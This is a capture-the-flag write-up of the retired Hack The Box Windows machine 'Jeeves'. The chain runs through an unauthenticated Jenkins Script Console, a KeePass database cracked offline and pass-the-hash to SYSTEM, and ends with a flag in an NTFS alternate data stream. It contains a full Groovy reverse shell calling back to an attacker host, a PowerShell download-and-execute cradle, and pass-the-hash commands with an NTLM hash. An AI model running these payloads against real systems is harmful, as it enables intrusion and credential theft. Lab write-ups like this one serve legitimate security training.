Peter Rakolcza Get in touch
← back to archive
// technical_debrief Medium

Jeeves

Jeeves is a medium-difficulty standalone Windows box built around a forgotten Jenkins instance and a developer's password manager.

platform
Hack The Box
target_os
Windows (Server 2016 / NTFS)
difficulty
Medium
season
Retired
logged
September 15, 2026
exploit_vectors → Port enumerationDirectory brute force on 50000Jenkins Script Console abuseKeePass database looting

Summary of Exploitation

Jeeves is a medium-difficulty standalone Windows box built around a forgotten Jenkins instance and a developer’s password manager. There are no credentials to start with — everything comes out of enumeration. The chain proceeds as follows:

  1. Port enumeration reveals IIS on 80 (an “Ask Jeeves” search page) and Jetty on 50000 returning a bare 404 — two web servers, one of which is not advertising anything.
  2. Directory brute force on 50000 uncovers /askjeeves, an unauthenticated Jenkins 2.87 dashboard with full administrative access.
  3. Jenkins Script Console abuse — the Groovy console is arbitrary code execution as the service account. A Groovy reverse shell yields a foothold as jeeves\kohsuke.
  4. KeePass database looting — CEH.kdbx in kohsuke\Documents is cracked offline (keepass2john + hashcat -m 13400) with rockyou, revealing the master password moonshine1.
  5. Pass-the-hash — the “Backup stuff” entry stores an NTLM hash rather than a password. Passing it to psexec as Administrator lands a SYSTEM shell.
  6. Alternate Data Stream — the Administrator desktop holds a taunt file instead of root.txt; the real flag is hidden in an NTFS ADS and read with more <.

Recon Phase

An initial full-port scan was run against the target:

nmap -p- -sS --min-rate 5000 -Pn -n -oA nmap/jeeves <target-ip>
nmap -p 80,135,445,50000 -sC -sV -oA nmap/jeeves-svc <target-ip>

Results (abridged):

Port State Service Version
80 open http Microsoft IIS httpd 10.0 — title: Ask Jeeves
135 open msrpc Microsoft Windows RPC
445 open microsoft-ds Windows 7–10 microsoft-ds (workgroup: WORKGROUP)
50000 open http Jetty 9.4.z-SNAPSHOT — title: Error 404 Not Found

Key takeaways from recon:

  • Hostname JEEVES, standalone workgroup member — no domain, so the whole box is local-privilege territory rather than AD.
  • SMB reports message signing enabled but not required, and smb-security-mode shows the guest account was used for the scan. Worth noting, but not directly exploitable here.
  • Two HTTP services, and the interesting one is the one that looks empty. Jetty answering / with a 404 means content exists somewhere — it just isn’t at the web root.
  • HTTP methods on 80 include TRACE, flagged as potentially risky by Nmap. Dead end.

Web Enumeration

Port 80 — the rabbit hole

Port 80 serves a small parody of the old Ask Jeeves search engine. Submitting anything into the search box returns a static page containing what looks like a Microsoft SQL / ASP.NET stack trace image.

The value typed into the box is never actually sent as a parameter — the “error” is a flat image file, identical no matter what is entered. There is no injection point, no reflected input, and no backend. A full directory brute force confirmed it:

gobuster dir -u http://<target-ip>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx,txt,html

Nothing beyond the index page and the error image.

Note — the rabbit hole is the point. The fake stack trace is deliberately bait for SQLi. Confirming the form submits no parameters takes two minutes in Burp and saves an hour of sqlmap. Note it, discard it, move on.

Anonymous SMB was checked at the same time and gave nothing:

smbclient -L //<target-ip>/ -N
nxc smb <target-ip> -u '' -p '' --shares

Port 50000 — finding Jenkins

Since Jetty was returning a 404 rather than a landing page, the same brute force was pointed at 50000:

gobuster dir -u http://<target-ip>:50000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
/askjeeves    (Status: 302) --> http://<target-ip>:50000/askjeeves/

Browsing to /askjeeves/ returns a fully functional Jenkins 2.87 dashboard — no login prompt, no anonymous read-only restriction, full administrative UI.

Gotcha — wordlist choice matters. /askjeeves is a box-specific word. It appears in directory-list-2.3-medium.txt but not in several smaller “common” lists. If port 50000 looks empty, the wordlist is the variable to change before concluding the port is a dead end.


Exploitation Phase

Step 1 — Jenkins Script Console → shell as kohsuke

Jenkins ships a Groovy Script Console under Manage Jenkins → Script Console, which runs arbitrary Groovy on the Jenkins master with the privileges of the service account. Granting an unauthenticated user access to it is functionally equivalent to handing out a shell.

Execution was confirmed first:

println "whoami".execute().text
jeeves\kohsuke

With execution proven, a Groovy reverse shell was pasted into the console — a ProcessBuilder spawning cmd.exe with its stdin/stdout wired to a Socket back to the attacker:

String host="<attacker-ip>";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0) so.write(pi.read());
  while(pe.available()>0) so.write(pe.read());
  while(si.available()>0) po.write(si.read());
  so.flush(); po.flush(); Thread.sleep(50);
  try { p.exitValue(); break; } catch (Exception e){}
};
p.destroy(); s.close();

Caught on a listener:

rlwrap nc -lvnp 4444

A PowerShell-based cradle (Nishang Invoke-PowerShellTcp.ps1 hosted over python3 -m http.server) works equally well and gives a nicer shell:

powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker-ip>/shell.ps1')"

Note. cmd.exe proved more stable than powershell.exe as the Groovy ProcessBuilder target — the Groovy shell is fragile either way, so upgrading to a PowerShell callback immediately after landing is worth the extra step.

User flag:

type C:\Users\kohsuke\Desktop\user.txt

Step 2 — Local enumeration → CEH.kdbx

Standard post-foothold checks:

whoami /priv
whoami /groups
systeminfo

kohsuke holds SeImpersonatePrivilege, which on a 2016 host of this vintage opens a JuicyPotato/RottenPotato path straight to SYSTEM. That is a legitimate shortcut but it skips the intended chain — and, importantly, it does not hand over the Administrator hash, which is the more valuable artefact. Documented as an alternate route, then set aside.

The intended path is in the user’s own profile:

dir C:\Users\kohsuke\Documents
CEH.kdbx

A .kdbx file is an encrypted KeePass database. It was pulled back to the attacker host over an SMB share:

# attacker
impacket-smbserver share $(pwd) -smb2support
# target
copy C:\Users\kohsuke\Documents\CEH.kdbx \\<attacker-ip>\share\CEH.kdbx

Step 3 — Cracking the KeePass master password

keepass2john converts the database header into a crackable hash:

keepass2john CEH.kdbx > keepass.hash

The CEH: username prefix must be stripped before feeding it to hashcat, then cracked as mode 13400 (KeePass 1/2 AES/Twofish):

sed -i 's/^CEH://' keepass.hash
hashcat -m 13400 -a 0 keepass.hash /usr/share/wordlists/rockyou.txt
$keepass$*2*6000*0*1af405cc...    :moonshine1

Master password: moonshine1. John the Ripper (--format=KeePass) works identically if hashcat isn’t available.

Gotcha. Leaving the CEH: prefix in place will make hashcat reject the line as a malformed hash rather than fail to crack it — read the error, don’t assume the wordlist is wrong.

Step 4 — “Backup stuff” → pass-the-hash as Administrator

The database was opened locally with keepassxc (or headless with kpcli, which is faster for dumping every entry):

kpcli --kdb CEH.kdbx
kpcli:/> cd CEH
kpcli:/CEH> ls
kpcli:/CEH> show -f 0

Most entries are decoys — bank, Walmart, and similar filler. One is not. The entry named “Backup stuff” stores, in the password field, an LM:NTLM pair rather than a plaintext password:

aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

The LM half is the well-known empty-LM constant, so the meaningful half is the NT hash. Sprayed against the local Administrator account:

nxc smb <target-ip> -u Administrator -H e0fb1fb85756c24235ff238cbe81fe00
[+] Jeeves\Administrator:e0fb1fb8... (Pwn3d!)

A full session followed:

impacket-psexec Administrator@<target-ip> -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# or: pth-winexe -U 'Administrator%aad3b435...:e0fb1fb8...' //<target-ip> cmd.exe
nt authority\system

Note. The plaintext behind the hash is never needed and never cracked. A stored hash is a stored credential — the only difference is which tool consumes it.

Step 5 — Alternate Data Stream → Root

The Administrator desktop does not contain root.txt:

C:\Users\Administrator\Desktop> dir
    hm.txt

C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere.  Look deeper.

NTFS supports Alternate Data Streams — additional named data streams attached to a file, invisible to a normal directory listing and to most file-reading utilities. dir /r exposes them:

C:\Users\Administrator\Desktop> dir /r
    36 hm.txt
    34 hm.txt:root.txt:$DATA

type cannot address a stream and fails with a syntax error. Redirecting into more reads it:

C:\Users\Administrator\Desktop> more < hm.txt:root.txt

Root Flag Successfully Obtained

C:\Users\Administrator\Desktop> more < hm.txt:root.txt
<root_flag>

PowerShell has native stream support and is the cleaner option where available:

Get-Item -Path C:\Users\Administrator\Desktop\hm.txt -Stream *
Get-Content -Path C:\Users\Administrator\Desktop\hm.txt -Stream root.txt

Key Takeaways

  • An empty web root is a finding, not a dead end. Jetty returning 404 on / meant content existed off-path. The whole box hinges on brute-forcing the port that looked emptier than the one that looked interesting.
  • Fake error pages are cheap bait. The Ask Jeeves “stack trace” is a static image with no parameter behind it. Proving a form sends nothing is faster than proving an injection doesn’t exist.
  • The Jenkins Script Console is RCE by design. Unauthenticated access to /script — or to any account that can reach it — is equivalent to a shell as the service account. In a real engagement, this is a critical finding on its own, before any escalation.
  • Password managers concentrate risk. A single weak master password (moonshine1, straight out of rockyou) unlocked every credential the developer held. Offline cracking means no lockout policy and no logging.
  • A hash in a password field is still a credential. “Backup stuff” was never cracked and never needed to be — NTLM authentication accepts the hash directly.
  • Know your file system’s hiding places. dir and type both lie about ADS content; dir /r, more <, and PowerShell’s -Stream tell the truth. Defensively, ADS is a classic staging spot for malware payloads on NTFS.
  • Note the shortcuts you don’t take. SeImpersonatePrivilege on kohsuke offers a JuicyPotato path to SYSTEM that skips steps 3–4 entirely. Faster, but it forfeits the Administrator hash — worth recording as an alternate route rather than pretending it isn’t there.

Full Attack Chain

unauthenticated
   └─ port 50000 (Jetty, 404 at root)  ──>  gobuster  ──>  /askjeeves
        └─ Jenkins 2.87, no auth  ──>  Script Console (Groovy)
             └─ reverse shell as jeeves\kohsuke                       [USER]
                  └─ C:\Users\kohsuke\Documents\CEH.kdbx
                       └─ keepass2john + hashcat -m 13400  ──>  moonshine1
                            └─ "Backup stuff" entry  ──>  NTLM hash
                                 └─ pass-the-hash (psexec)  ──>  SYSTEM
                                      └─ hm.txt:root.txt (NTFS ADS)   [ROOT]